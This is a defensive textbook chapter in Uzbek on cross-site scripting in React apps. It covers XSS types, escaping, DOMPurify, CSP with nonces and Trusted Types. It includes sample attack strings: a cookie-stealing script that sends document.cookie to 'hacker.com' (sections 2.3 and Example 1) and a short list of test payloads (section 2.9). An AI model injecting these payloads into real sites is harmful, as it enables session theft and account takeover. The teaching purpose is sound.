WisarWisar
Dasturlash kitobi/14-QISM — Xavfsizlik36 daqiqa

14.2-bob: XSS (Cross-Site Scripting)

14-QISM — Web Xavfsizligi · 2-mavzu

1. Kirish va motivatsiya

XSS (Cross-Site Scripting — saytlararo skript) — eng keng tarqalgan, eng xavfli frontend hujumi. Mohiyati: hujumchi sahifaga yomon JavaScript kiritadi, va u boshqa foydalanuvchi brauzerida ishlaydi. Tasavvur qiling: izoh maydoniga <script> yozilsa va u boshqa foydalanuvchilarga ko'rsatilsa — o'sha skript ularning brauzerida ishlab, cookie/sessiyani o'g'irlaydi (hujumchi ularning hisobiga kiradi), parol so'raydi (soxta forma), yoki ularning nomidan amal qiladi. XSS — foydalanuvchining brauzerini hujumchi nazoratiga oladi.

Nega bu shunchalik xavfli? Chunki JavaScript brauzerda hamma narsaga ega: cookie (sessiya token), DOM (sahifani o'zgartirish), localStorage (saqlangan ma'lumot), foydalanuvchi amallari (tugma bosish). Agar hujumchi sizning saytingizda JavaScript ishga tushira olsa — u foydalanuvchi nomidan deyarli hamma narsani qila oladi. XSS millionlab saytlarni buzgan (ijtimoiy tarmoqlar, banklar, e-commerce). Yaxshi xabar: zamonaviy frameworklar (React) ko'p XSS'ni avtomatik oldini oladi, lekin hamma emas — qaerda ehtiyot bo'lishni bilish kerak.

Bu bob: XSS nima va qanday ishlaydi, XSS turlari (stored, reflected, DOM-based), hujum misollari (cookie o'g'irlik, keylogger), React'ning himoyasi (avtomatik escaping), xavfli joylar (dangerouslySetInnerHTML, href, eval), himoya (sanitizatsiya — DOMPurify, escaping, validatsiya), va CSP (Content Security Policy — qo'shimcha qatlam, nonce/hash, Trusted Types), output encoding konteksti (HTML/atribut/JS/URL/CSS), boshqa XSS ko'rinishlari (markdown, SVG, mutation, template injection), rich text editor xavfsizligi (DOMPurify allowlist), backend himoyasi (Express/NestJS — helmet, sanitize) va XSS testing. XSS'ning hujum va himoya tomonlarini to'liq ochamiz.

O'xshatish: XSS — bu pochta orqali zaharlangan xat. Tasavvur qiling, kimdir sizga "tabrik kartasi" (izoh, xabar) yuboradi, lekin uning ichida yashirin mexanizm bor — siz kartani ochsangiz (sahifa yuklansa), u sizning uyingizda (brauzeringizda) ishlaydi (eshikni ochadi, kalitlarni — cookie — o'g'irlaydi). Yomon tomoni — karta boshqa odamdan (hujumchi) keladi, lekin sizning uyingizda ishlaydi (siz ishonib ochasiz, chunki "tanish saytdan"). Himoya — har kelgan xatni tekshirish (sanitizatsiya — yashirin mexanizmni olib tashlash), faqat oddiy matnga ruxsat (kod emas). Sayt foydalanuvchi kiritgan narsani (izoh, ism) ko'r-ko'rona ko'rsatsa — zaharlangan xatni tarqatadi; tekshirib ko'rsatsa — xavfsiz.

Nega muhim?

  • Eng keng frontend hujumi — har foydalanuvchi kiritishini ko'rsatadigan sayt potensial nishon.
  • To'liq nazorat — XSS = foydalanuvchi brauzerida hujumchi kodi (cookie, sessiya, amallar).
  • React himoyasi yetarli emas — dangerouslySetInnerHTML, href — qo'lda ehtiyot.
  • Majburiy bilim — har frontend dasturchi XSS'ni bilishi shart.

2. Nazariya — chuqur tushuntirish

2.1. XSS nima va qanday ishlaydi

text
  XSS — foydalanuvchi kiritishi KOD sifatida bajarilishi (frontend injection):

  MUAMMO: sayt foydalanuvchi ma'lumotini (izoh, ism) HTML'ga to'g'ridan qo'shadi:
  izoh = "<script>alert('XSS')</script>"
  sahifa: <div>${izoh}</div>    <div><script>alert('XSS')</script></div>
   skript ISHLAYDI (brauzer uni HTML deb o'qiydi va bajaradi)

  HUJUM OQIMI (stored XSS):
  1. Hujumchi izoh maydoniga <script> yozadi (DB'ga saqlanadi)
  2. Boshqa foydalanuvchi sahifani ochadi (izoh ko'rsatiladi)
  3. <script> O'SHA foydalanuvchi brauzerida ishlaydi
  4. Skript cookie/sessiyani hujumchiga yuboradi  hisob o'g'irlandi

   XSS — foydalanuvchi ma'lumoti kod sifatida (HTML/JS) bajarilishi
   Yomon kod BOSHQA foydalanuvchi brauzerida ishlaydi (cookie/sessiya/amal o'g'irlik)

XSS nima va qanday ishlaydi — XSS hujumining mohiyati. XSS — foydalanuvchi kiritgan ma'lumotning kod sifatida bajarilishi (injection'ning frontend turi — 14.1: 2.2 A03). Muammo: sayt foydalanuvchi ma'lumotini (izoh, ism, qidiruv) HTML sahifaga to'g'ridan qo'shadi. Agar foydalanuvchi <script>alert('XSS')</script> kiritsa va sayt uni <div>${izoh}</div> ga qo'ysa — natija <div><script>...</script></div> — brauzer buni HTML deb o'qiydi va <script>ni bajaradi (skript ishlaydi). Hujum oqimi (stored XSS): (1) hujumchi izoh maydoniga <script> yozadi (DB'ga saqlanadi); (2) boshqa foydalanuvchi sahifani ochadi (izoh ko'rsatiladi); (3) <script> o'sha foydalanuvchi brauzerida ishlaydi (hujumchining emas — qurboniniki); (4) skript cookie/sessiyani hujumchiga yuboradi hisob o'g'irlandi. Ikki nuqta: (1) XSS — foydalanuvchi ma'lumoti kod sifatida (HTML/JS) bajarilishi (ma'lumot va kod aralashadi — 14.1: Misol 2 injection mohiyati bilan bir xil); (2) yomon kod boshqa foydalanuvchi brauzerida ishlaydi (cookie/sessiya/amal o'g'irlik — eng xavfli oqibati). Mohiyat injection bilan bir xil (14.1: 2.2): foydalanuvchi ma'lumoti kod bilan aralashmasligi kerak. SQL injection DB'da, XSS — brauzerda (HTML/JS).

2.2. XSS turlari (stored, reflected, DOM)

text
  XSS — UCH TUR (yomon kod qaydan keladi):

  1. STORED XSS (saqlangan — eng xavfli):
   yomon kod DB'ga SAQLANADI (izoh, profil)  har ko'rgan foydalanuvchiga ta'sir
   masalan: izohda <script>  barcha o'qigan foydalanuvchi zararlanadi

  2. REFLECTED XSS (aks etgan):
   yomon kod URL/so'rovda  server "aks ettiradi" (qidiruv natijasi)
   masalan: /search?q=<script>  "Siz <script> qidirdingiz"  ishlaydi
   hujumchi qurbonga ZARARLI HAVOLA yuboradi (bossa — ishlaydi)

  3. DOM-BASED XSS (mijoz tomonida):
   JavaScript DOM'ni xavfli o'zgartirgani (server emas — client kodida)
   masalan: element.innerHTML = location.hash (URL'dan to'g'ridan DOM'ga)

  ┌────────────────────────────────────────────────────────────┐
  │ Stored: DB'da (har kim) | Reflected: URL'da (havola bossa)  │
  │ DOM-based: client JS'da (innerHTML, eval — server emas)     │
  └────────────────────────────────────────────────────────────┘

   Stored (DB — eng xavfli), Reflected (URL — havola), DOM-based (client JS)
   Uchalasi ham: foydalanuvchi ma'lumoti kod sifatida bajariladi (manba farq)

XSS turlari (stored, reflected, DOM) — yomon kodning kelishi bo'yicha uch tur. (1) Stored XSS (saqlangan — eng xavfli): yomon kod DB'ga saqlanadi (izoh, profil, post), va har o'sha ma'lumotni ko'rgan foydalanuvchiga ta'sir qiladi (masalan izohda <script> — barcha o'qigan foydalanuvchi zararlanadi — bitta hujum, ko'p qurbon). (2) Reflected XSS (aks etgan): yomon kod URL yoki so'rovda keladi, server uni javobda "aks ettiradi" (masalan /search?q=<script> sahifa "Siz <script> qidirdingiz" deb ko'rsatsa — skript ishlaydi); hujumchi qurbonga zararli havola yuboradi (saytim.com/search?q=<script>...), qurbon bossa — o'z brauzerida ishlaydi. (3) DOM-based XSS (mijoz tomonida): JavaScript DOM'ni xavfli o'zgartirgani (server emas — client kodida) — masalan element.innerHTML = location.hash (URL'dan to'g'ridan DOM'ga — agar URL'da <img onerror=...> bo'lsa, ishlaydi). Ikki nuqta: (1) stored (DB — eng xavfli, ko'p qurbon), reflected (URL — havola bossa), DOM-based (client JS — innerHTML/eval); (2) uchalasi ham bir xil mohiyat (foydalanuvchi ma'lumoti kod sifatida), faqat manba farq (DB, URL, client). Har turga mos himoya (sanitizatsiya, escaping — 2.5). Stored — eng jiddiy (saqlanadi, ko'p odamga), lekin uchalasini ham bilish kerak.

2.3. Hujum nima qila oladi

text
  XSS BILAN HUJUMCHI NIMA QILA OLADI (foydalanuvchi brauzerida — to'liq nazorat):

  1. COOKIE/SESSIYA O'G'IRLIK (eng keng):
  <script>fetch('//hacker.com?c=' + document.cookie)</script>
   sessiya cookie hujumchiga  hujumchi qurbonning hisobiga kiradi

  2. KEYLOGGER (klaviatura yozuvi):
   har bosilgan tugmani yozib hujumchiga (parol, karta raqami)

  3. SOXTA FORMA (phishing):
   soxta "qayta kiring" formasi  parol hujumchiga

  4. FOYDALANUVCHI NOMIDAN AMAL:
   uning nomidan post, pul o'tkazish, sozlama o'zgartirish

  5. BRAUZER/TARMOQ HUJUMI:
   ichki tarmoqni skanerlash, boshqa saytlarga hujum

   XSS = foydalanuvchi brauzerida hujumchi kodi (cookie/parol/amal — hamma narsa)
   HttpOnly cookie — JS o'qiy olmaydi (cookie o'g'irlikdan himoya — 2.5, 14.6)

Hujum nima qila oladi — XSS'ning oqibatlari (nega xavfli). XSS bilan hujumchi foydalanuvchi brauzerida to'liq nazorat oladi: (1) cookie/sessiya o'g'irlik (eng keng) — <script>fetch('//hacker.com?c=' + document.cookie)</script> (sessiya cookie'ni hujumchi serveriga yuboradi hujumchi o'sha cookie bilan qurbonning hisobiga kiradi — hisob egallandi); (2) keylogger — har bosilgan tugmani yozib hujumchiga (parol, karta raqami — foydalanuvchi yozayotganini kuzatish); (3) soxta forma (phishing) — soxta "sessiya tugadi, qayta kiring" formasi ko'rsatib, parolni hujumchiga; (4) foydalanuvchi nomidan amal — uning nomidan post yozish, pul o'tkazish, sozlama o'zgartirish (CSRF kabi, lekin kuchliroq); (5) brauzer/tarmoq hujumi — ichki tarmoqni skanerlash. Ikki nuqta: (1) XSS = foydalanuvchi brauzerida hujumchi kodi (cookie, parol, amal — deyarli hamma narsa — shuning uchun eng xavfli); (2) HttpOnly cookie — JavaScript o'qiy olmaydi (cookie'ni HttpOnly qilsangiz, document.cookie uni ko'rmaydi XSS bo'lsa ham cookie o'g'irlanmaydi — muhim himoya qatlami — 2.5, 14.6). XSS'ning oqibati cheksiz (brauzer JavaScript'ning to'liq kuchi hujumchi qo'lida). Shuning uchun XSS'ni oldini olish (himoya — 2.4, 2.5) kritik. HttpOnly cookie — eng katta zararni (sessiya o'g'irlik) kamaytiradi.

2.4. React'ning himoyasi (avtomatik escaping)

text
  REACT — XSS'ning KO'PINI avtomatik oldini oladi (escaping):

  // React JSX'da o'zgaruvchi — AVTOMATIK escape qilinadi:
  const izoh = "<script>alert('XSS')</script>";
  return <div>{izoh}</div>;
  //  React buni MATN sifatida ko'rsatadi (kod EMAS):
  //   <div>&lt;script&gt;alert('XSS')&lt;/script&gt;</div>
  //   ekranda: <script>alert('XSS')</script>  (matn — ishlamaydi!)

  REACT NIMA QILADI: {} ichidagi qiymatni escape qiladi
   < > " ' & belgilarini HTML entity'ga (&lt; &gt; ...) o'zgartiradi
   brauzer ularni KOD emas, MATN deb o'qiydi (XSS yo'q)

  XAVFSIZ (React default):
  <div>{userInput}</div>           //  escape (matn)
  <input value={userInput} />      //  escape
  <p title={userInput}>...</p>     //  escape

   React {} — avtomatik escape (foydalanuvchi ma'lumoti MATN sifatida — XSS yo'q)
   Bu DEFAULT himoya (oddiy JSX xavfsiz); lekin BA'ZI joylar bundan mustasno (2.5)

React'ning himoyasi (avtomatik escaping) — React nega ko'p XSS'ni oldini oladi. React JSX'da o'zgaruvchi {} ichida ko'rsatilganda — avtomatik escape qilinadi. Misol: const izoh = "<script>alert('XSS')</script>"; return <div>{izoh}</div> — React buni matn sifatida ko'rsatadi (kod emas): < > belgilari HTML entity'ga (&lt; &gt;) o'zgartiriladi, natijada ekranda <script>alert('XSS')</script> matn ko'rinadi (brauzer uni kod deb o'qimaydi — ishlamaydi — XSS yo'q). React nima qiladi: {} ichidagi qiymatni escape qiladi (< > " ' & belgilarini HTML entity'ga) — brauzer ularni kod emas, matn deb o'qiydi. Shuning uchun oddiy JSX xavfsiz (default): <div>{userInput}</div>, <input value={userInput} />, <p title={userInput}> — hammasi escape qilinadi (foydalanuvchi <script> kiritsa ham — matn sifatida). Ikki nuqta: (1) React {} — avtomatik escape (foydalanuvchi ma'lumoti matn sifatida — XSS yo'q — bu React'ning eng katta xavfsizlik afzalligi); (2) bu default himoya (oddiy JSX xavfsiz), lekin ba'zi joylar bundan mustasno (dangerouslySetInnerHTML, href, eval — 2.5 — qo'lda ehtiyot). React XSS'ning ko'pini hal qiladi (oddiy ma'lumot ko'rsatish — xavfsiz), lekin hammasini emas (xavfli joylarni bilish kerak — 2.5). Vanilla JavaScript (React'siz)da element.innerHTML = userInput — xavfli (escape yo'q); React {} — xavfsiz (escape bor). React'ni ishlatish o'zi XSS himoyasining katta qismi.

2.5. Xavfli joylar va himoya

text
  REACT'DA XAVFLI JOYLAR (escape ishlamaydigan — qo'lda ehtiyot):

  1. dangerouslySetInnerHTML (HTML to'g'ridan — escape YO'Q):
   <div dangerouslySetInnerHTML={{ __html: userInput }} />  // XSS!
   sanitizatsiya: { __html: DOMPurify.sanitize(userInput) }  // tozalangan

  2. href/src (javascript: protokoli):
   <a href={userInput}>  // userInput = "javascript:alert(1)"  bossa ishlaydi
   tekshir: faqat http/https (javascript: rad et)

  3. eval / dangerous funksiyalar:
   eval(userInput), new Function(userInput)  // kod sifatida bajaradi
   eval ISHLATMA (deyarli hech qachon kerak emas)

  4. Vanilla DOM (React'siz):
   element.innerHTML = userInput  // escape yo'q
   element.textContent = userInput  // matn (xavfsiz)

  HIMOYA QATLAMLARI:
   Escape (React default — 2.4)
   Sanitizatsiya (DOMPurify — HTML kerak bo'lsa)
   Validatsiya (kirishda — kutilgan format)
   HttpOnly cookie (sessiya JS'dan himoya — 2.3)
   CSP (Content Security Policy — 2.6)

   Xavfli: dangerouslySetInnerHTML, href (javascript:), eval, innerHTML — qo'lda ehtiyot
   HTML kerak bo'lsa  DOMPurify (sanitizatsiya); aks holda escape (default)

Xavfli joylar va himoya — React'da escape ishlamaydigan joylar. React default escape qiladi 2.4-bob, lekin ba'zi joylar mustasno (qo'lda ehtiyot): (1) dangerouslySetInnerHTML (HTML to'g'ridan — nomi "xavfli" deydi!) — <div dangerouslySetInnerHTML={{ __html: userInput }} /> escape qilmaydi (HTML deb o'qiydi — XSS); agar foydalanuvchi HTML'ini ko'rsatish kerak bo'lsa (masalan rich text, markdown) — DOMPurify.sanitize bilan tozalang ({ __html: DOMPurify.sanitize(userInput) } — zararli <script>/onerror olib tashlanadi); (2) href/src — <a href={userInput}> — agar userInput = "javascript:alert(1)" bo'lsa, havola bosilganda skript ishlaydi (javascript: protokoli); protokolni tekshirish kerak (faqat http/https — javascript: rad etiladi); (3) eval/new Function — eval(userInput) foydalanuvchi ma'lumotini kod sifatida bajaradi (juda xavfli — eval deyarli hech qachon kerak emas — ishlatmaslik kerak); (4) vanilla DOM (React'siz) — element.innerHTML = userInput (escape yo'q — xavfli); element.textContent ishlatiladi (matn — xavfsiz). Himoya qatlamlari: escape (React default), sanitizatsiya (DOMPurify — HTML kerak bo'lsa), validatsiya (kirishda — format tekshir), HttpOnly cookie (sessiya JS'dan — 2.3), CSP 2.6-bob. Ikki nuqta: (1) xavfli joylar — dangerouslySetInnerHTML, href (javascript:), eval, innerHTML (qo'lda ehtiyot — React escape qilmaydi); (2) HTML kerak bo'lsa DOMPurify (sanitizatsiya — zararlini olib tashlash), aks holda escape (default — matn). Bu joylarni bilish — React'da XSS'ni to'liq oldini olishning kaliti (default xavfsiz, lekin bu joylarda ongli himoya). dangerouslySetInnerHTML — eng keng XSS manbai React loyihalarda (markdown/rich text — DOMPurify bilan).

2.6. CSP (Content Security Policy)

text
  CSP — qo'shimcha himoya qatlami (XSS bo'lsa ham zararni cheklash):

  CSP — qaysi MANBADAN script/stil/rasm yuklanishini cheklaydi (header):
  Content-Security-Policy: default-src 'self'; script-src 'self'

   faqat O'Z domeningizdan script (inline <script> va tashqi — RAD)
   XSS skript kiritsa ham — CSP uni BLOKLAYDI (ishlamaydi)

  NEXT.JS'DA (middleware — 13.6: Misol 7):
  response.headers.set("Content-Security-Policy", "default-src 'self'; script-src 'self'");

  CSP NIMA BERADI (defense in depth — 14.1: 2.3):
   XSS himoyasi BUZILsa ham (escape unutildi) — CSP ikkinchi to'siq
   inline script bloklanadi (hujumchi <script>alert</script> kiritsa — ishlamaydi)

   CSP — qaysi manbadan kod yuklanishi (header) — XSS bo'lsa ham zararni cheklaydi
   Defense in depth — CSP ikkinchi qatlam (escape birinchi; ikkalasi birga)

CSP (Content Security Policy) — XSS'ga qarshi qo'shimcha himoya qatlami. CSP — qaysi manbadan script/stil/rasm yuklanishini cheklaydigan HTTP header: Content-Security-Policy: default-src 'self'; script-src 'self' — faqat o'z domeningizdan script yuklashga ruxsat (inline <script> va tashqi manbalar rad etiladi). Natija: agar XSS skript kiritsa ham (escape unutilgan bo'lsa), CSP uni bloklaydi (ishlamaydi — brauzer "bu skript ruxsat etilgan manbadan emas" deb rad qiladi). Next.js'da (middleware — 13.6: Misol 7): response.headers.set("Content-Security-Policy", "default-src 'self'; script-src 'self'") — har javobga CSP header. CSP nima beradi (defense in depth — 14.1: 2.3): XSS himoyasi buzilsa ham (masalan dasturchi bir joyda escape unutdi), CSP ikkinchi to'siq (inline <script>alert</script> bloklanadi — hujumchi kiritsa ham ishlamaydi). Ikki nuqta: (1) CSP — qaysi manbadan kod yuklanishi (header) — XSS bo'lsa ham zararni cheklaydi (skript ishga tushmaydi); (2) defense in depth — CSP ikkinchi qatlam (escape — birinchi, CSP — ikkinchi; ikkalasi birga — biri buzilsa, ikkinchisi ushlaydi). CSP — XSS'ga qarshi eng kuchli qo'shimcha himoya (lekin yagona emas — escape/sanitizatsiya bilan birga). To'g'ri sozlangan CSP ko'p XSS hujumini samarasiz qiladi (skript kiritilsa ham — ishlamaydi). CSP'ni har sayt ishlatishi tavsiya etiladi (14.7'da xavfsizlik header'lari bilan chuqurroq). Bu — "agar hammasi buzilsa ham" himoyasi (oxirgi to'siq).

2.7. Output encoding — kontekst muhim

text
  OUTPUT ENCODING (chiqishni kodlash) — foydalanuvchi ma'lumoti QAYERDA ko'rsatilishiga qarab FARQ qiladi:

  Bir xil "escape" hamma joyda YETMAYDI — har KONTEKST o'z qoidasi:

  1. HTML KONTEKST (<div>DATA</div>):
     < > & " '    &lt; &gt; &amp; ...   (React {} shuni qiladi — 2.4)

  2. HTML ATRIBUT (<div title="DATA">):
     " '    entity   (tirnoqdan chiqib ketmasin — onmouseover= qo'shmasin)

  3. JavaScript KONTEKST (<script>var x = "DATA"</script>):
     HTML escape YETMAYDI — JS-string escape kerak (\x3C, \u...)
      foydalanuvchi ma'lumotini JS ichiga QO'YMASLIK eng xavfsiz

  4. URL KONTEKST (<a href="/p?q=DATA">):
     encodeURIComponent(DATA)   (& = ? # dan qutilish)
      protokol tekshir (javascript: rad — Misol 2)

  5. CSS KONTEKST (style="width: DATA"):
     foydalanuvchi ma'lumotini CSS'ga QO'YMASLIK (expression(), url() xavfli)

   Escape universal emas — KONTEKST (HTML/atribut/JS/URL/CSS) har biri o'z qoidasi
   Eng xavfsiz: foydalanuvchi ma'lumotini JS/CSS/URL-protokolga UMUMAN qo'ymaslik

Output encoding — kontekst muhim — "escape" so'zi bitta narsa emas: foydalanuvchi ma'lumoti qayerda ko'rsatilishiga qarab kodlash (encoding) turi farq qiladi. Bu XSS himoyasining eng chuqur (va ko'p yangi dasturchi bilmaydigan) qismi. HTML kontekst (<div>DATA</div>) — < > & " ' belgilarni HTML entity'ga (&lt; va h.k.) — React {} aynan shuni bajaradi 2.4-bob. HTML atribut (<div title="DATA">) — tirnoq ("/') escape qilinmasa, hujumchi tirnoqdan "chiqib" onmouseover=alert(1) qo'sha oladi (atribut injection). JavaScript kontekst (<script>var x = "DATA"</script>) — bu yerda HTML escape yetmaydi: < > o'zgartirilsa ham, ";alert(1);// kabi qiymat JS-string'dan chiqib kod qo'shadi — shuning uchun foydalanuvchi ma'lumotini <script> ichiga umuman qo'ymaslik eng xavfsiz (kerak bo'lsa JSON.stringify yoki data-* atribut orqali uzatish). URL kontekst (<a href="/p?q=DATA">) — encodeURIComponent(DATA) bilan kodlash (& = ? # dan qutilish), plus protokol tekshiruvi (2.6-Misol 2). CSS kontekst (style="width: DATA") — eski brauzerlarda expression(), url(javascript:...) xavfli edi — foydalanuvchi ma'lumotini CSS'ga qo'ymaslik. Ikki nuqta: (1) escape universal emas — kontekst (HTML / atribut / JS / URL / CSS) har biri o'z kodlash qoidasiga ega, biri boshqasiga yaramaydi; (2) eng ishonchli qoida — foydalanuvchi ma'lumotini JS, CSS va URL-protokol kontekstlariga umuman qo'ymaslik (faqat HTML matn va atribut qiymatida ko'rsatish — u yerda React auto-escape ishlaydi). Yaxshi xabar: JSX'da odatda faqat HTML va atribut kontekstida ishlaysiz (React {} ikkalasini ham to'g'ri escape qiladi — 11.2), JS/CSS kontekstiga foydalanuvchi ma'lumoti kamdan-kam tushadi — shuning uchun React bilan ko'p XSS avtomatik yopiladi.

2.8. Boshqa XSS ko'rinishlari (markdown, SVG, mutation, template)

text
  <script> — eng ko'rinadigan, lekin XSS BOshqa yo'llardan ham keladi:

  1. MARKDOWN XSS:
     markdown  HTML aylantirilganda [havola](javascript:alert(1))
     yoki xom HTML (<img onerror=>) markdown ichida  HTML'ga o'tadi
      markdown natijasini HAM DOMPurify bilan tozalash shart

  2. SVG XSS:
     <svg><script>alert(1)</script></svg>   (SVG ichida JS bajariladi)
     <svg onload="alert(1)">
      foydalanuvchi SVG yuklasa/kiritsa — sanitize (yoki <img>/rasm sifatida ko'rsat)

  3. MUTATION XSS (mXSS):
     brauzer "tuzatgan" HTML sanitizatsiyadan KEYIN o'zgarib zararli bo'ladi
      DOMPurify kabi ishonchli, yangilangan kutubxona ishlatish (o'zi yozmaslik)

  4. TEMPLATE INJECTION (server-side):
     template'ga foydalanuvchi ma'lumotini KOD sifatida qo'yish
      `<h1>${req.query.name}</h1>` (agar template dvigateli bajarsa)
      template'ga ma'lumot MATN sifatida (auto-escape yoqilgan holda)

   XSS faqat <script> emas — markdown, SVG, event handler, template'dan ham
   Yagona ishonchli yo'l — allowlist sanitizatsiya (DOMPurify) + auto-escape

Boshqa XSS ko'rinishlari — XSS'ni faqat <script> deb tasavvur qilish xato; hujum ko'p yo'ldan keladi. (1) Markdown XSS — markdown HTML'ga aylantirilganda [matn](javascript:alert(1)) havolasi yoki markdown ichidagi xom HTML (<img src=x onerror=...>) natijaviy HTML'ga o'tadi va ishlaydi; shuning uchun markdown HTML natijasini ham DOMPurify bilan tozalash shart (markdown "xavfsiz" degani noto'g'ri tushuncha). (2) SVG XSS — SVG fayli HTML hujjati kabi ishlaydi: <svg><script>alert(1)</script></svg> yoki <svg onload="alert(1)"> — foydalanuvchi SVG yuklasa (avatar, ikonka) yoki inline kiritsa, JavaScript bajariladi; himoya — SVG'ni sanitize qilish yoki uni <img src="...svg"> sifatida ko'rsatish (inline emas). (3) Mutation XSS (mXSS) — brauzer noto'g'ri HTML'ni "tuzatadi", va ba'zan tuzatilgan natija sanitizatsiyadan keyin zararli holatga o'tadi; bunga qarshi o'z sanitizeringizni yozmasdan, ishonchli va yangilanib turadigan kutubxona (DOMPurify) ishlatish kerak. (4) Template injection (asosan server-side) — template dvigateliga foydalanuvchi ma'lumotini kod sifatida qo'yish (<h1>${req.query.name}</h1> kabi, agar dvigatel ifodani bajarsa) — himoya: template'ga ma'lumot faqat matn sifatida uzatiladi (auto-escape yoqilgan holda, xom interpolatsiya emas). Ikki nuqta: (1) XSS faqat <script> emas — event handler (onerror, onload), javascript: havola, markdown, SVG, template — barchasi manba bo'la oladi; (2) yagona ishonchli yo'l — allowlist asosidagi sanitizatsiya (faqat ruxsat berilgan teg/atributni qoldirish — DOMPurify) plus framework auto-escape. Denylist (faqat <script>ni bloklash) ishlamaydi — hujumchi cheksiz variant topadi (<img>, <svg>, <iframe>, katta-kichik harf, kodlash hiylalari); shuning uchun allowlist (ruxsat berilganidan boshqasini o'chirish) yagona to'g'ri yondashuv.

2.9. CSP'ni kuchaytirish, Trusted Types va XSS testing

text
  CSP'NI KUCHAYTIRISH (inline scriptga BOP ehtiyot):

   script-src 'self' 'unsafe-inline'   // inline <script> RUXSAT — XSS yo'lini ochadi!
   script-src 'self' 'nonce-RANDOM'    // faqat to'g'ri nonce'li inline script ishlaydi
   script-src 'self' 'sha256-HASH'     // faqat aniq hash mos script ishlaydi

   nonce: har so'rovda TASODIFIY qiymat, <script nonce="RANDOM"> — mos bo'lsa ishlaydi
   hujumchi kiritgan inline script nonce'ni BILMAYDI  bloklanadi

  REPORT-URI (buzilishlarni kuzatish):
  Content-Security-Policy: ...; report-uri /csp-report
   CSP buzilsa (skript bloklandi) — serverga hisobot (hujumni erta payqash)

  TRUSTED TYPES (zamonaviy — DOM XSS'ni butunlay yopish):
  Content-Security-Policy: require-trusted-types-for 'script'
   innerHTML = string  XATO (faqat "trusted" tur ruxsat)  DOM XSS deyarli imkonsiz

  XSS TESTING (o'zingiz sinash — 4.9):
  payload: <script>alert(1)</script>, <img src=x onerror=alert(1)>,
           "><svg onload=alert(1)>, javascript:alert(1)
  scanner: OWASP ZAP, Burp Suite (avtomatik XSS qidiradi)

   CSP'da 'unsafe-inline' — XSS yo'lini ochadi; nonce/hash ishlat
   Trusted Types — DOM XSS'ni deyarli butunlay yopadi (zamonaviy brauzer)

CSP'ni kuchaytirish, Trusted Types va XSS testing — 2.6 CSP'ni real himoyaga aylantirish detallari. unsafe-inline xavfi: script-src 'self' 'unsafe-inline' yozsangiz — inline <script> ga ruxsat berasiz, bu esa CSP'ning asosiy foydasini (inline XSS'ni bloklash) bekor qiladi; ko'p sayt buni "ishlashi uchun" qo'shadi va himoyani yo'qotadi. To'g'ri yechim — nonce yoki hash: (1) nonce — server har so'rovda tasodifiy qiymat generatsiya qiladi va uni ham CSP header'ga ('nonce-RANDOM'), ham o'zining <script nonce="RANDOM"> teglariga qo'yadi — faqat mos nonce'li script ishlaydi; hujumchi kiritgan inline script nonce'ni bilmaydi (u har so'rovda o'zgaradi), shuning uchun bloklanadi; (2) hash — 'sha256-...' — aniq skript matnining hash'i, faqat o'sha matn mos script ishlaydi (statik inline scriptlar uchun). report-uri (yoki yangi report-to): report-uri /csp-report — CSP buzilganda (skript bloklanganda) brauzer serverga hisobot yuboradi — bu hujum urinishini erta payqash imkonini beradi (monitoring — 14.7). Trusted Types (zamonaviy brauzerlar) — require-trusted-types-for 'script' — bu yoqilganda element.innerHTML = string to'g'ridan xato beradi (faqat maxsus "trusted" tur ruxsat etiladi, uni faqat sanitizatsiyadan o'tgan qiymat yaratadi) — natijada DOM-based XSS 2.2-bob deyarli butunlay yopiladi (eng kuchli client-side himoya). XSS testing — o'z saytingizni sinash: qo'lda payload kiritish (<script>alert(1)</script>, <img src=x onerror=alert(1)>, "><svg onload=alert(1)>, javascript:alert(1) — turli kontekst uchun) va avtomatik skanerlar (OWASP ZAP, Burp Suite — saytni tekshirib XSS zaifligini topadi). Ikki nuqta: (1) CSP'da 'unsafe-inline' — XSS yo'lini ochadi, uning o'rniga nonce/hash ishlatish kerak (aks holda CSP deyarli befoyda); (2) Trusted Types DOM XSS'ni deyarli butunlay yopadi (zamonaviy brauzerlarda eng kuchli qatlam). Bu qatlamlar — escape 2.4-bob va sanitizatsiya 2.5-bob ustiga qo'yiladi (defense in depth — biri emas, hammasi birga).

3. Sintaksis — tez ma'lumotnoma

text
ESCAPE 2.4-bob:       React {userInput}  — avtomatik (default xavfsiz)
XAVFLI 2.5-bob:       dangerouslySetInnerHTML, href (javascript:), eval, innerHTML
SANITIZATSIYA 2.5-bob:DOMPurify.sanitize(html)  — HTML kerak bo'lsa
HREF 2.5-bob:         faqat http/https tekshir (javascript: rad)
COOKIE 2.3-bob:       HttpOnly (JS o'qiy olmaydi — sessiya himoya)
CSP 2.6-bob:          Content-Security-Policy: default-src 'self'; script-src 'self'
CSP NONCE 2.9-bob:    script-src 'self' 'nonce-RANDOM'  (unsafe-inline EMAS — Misol 7)
TRUSTED TYPES 2.9-bob:require-trusted-types-for 'script'  (DOM XSS'ni yopadi)
ALLOWLIST 2.8-bob:    DOMPurify.sanitize(html, { ALLOWED_TAGS, ALLOWED_ATTR })  — Misol 6
ENCODING 2.7-bob:     kontekst — HTML/atribut/JS/URL(encodeURIComponent)/CSS
BACKEND (Misol 8):  helmet (header) + server sanitize (saqlashdan oldin)
TEXTCONTENT 2.5-bob:  element.textContent (innerHTML emas — vanilla DOM)

4. Batafsil misollar

Har misol: Maqsad + izohli kod + "Bu nima qiladi".

Misol 1 — Stored XSS hujumi va himoyasi (2.1, 2.4)

Maqsad: Izoh tizimida stored XSS qanday yuzaga kelishini va React escape qanday himoyalashini ko'rsatish. Bu eng keng XSS holati.

tsx
//  XAVFLI — vanilla yoki dangerouslySetInnerHTML bilan izoh ko'rsatish:
function Comment({ text }: { text: string }) {
  // text = "<script>fetch('//hacker.com?c='+document.cookie)</script>"
  return <div dangerouslySetInnerHTML={{ __html: text }} />;   // XSS! skript ishlaydi
}

//  XAVFSIZ — React default escape (matn sifatida):
function Comment({ text }: { text: string }) {
  return <div>{text}</div>;   // React escape — <script> MATN sifatida (ishlamaydi)
}
//  text "<script>..." bo'lsa ham, ekranda matn ko'rinadi (kod emas)

//  HTML KERAK bo'lsa (rich text) — sanitizatsiya:
import DOMPurify from "dompurify";
function RichComment({ html }: { html: string }) {
  const clean = DOMPurify.sanitize(html);   // <script>, onerror olib tashlanadi
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;   // tozalangan — xavfsiz
}

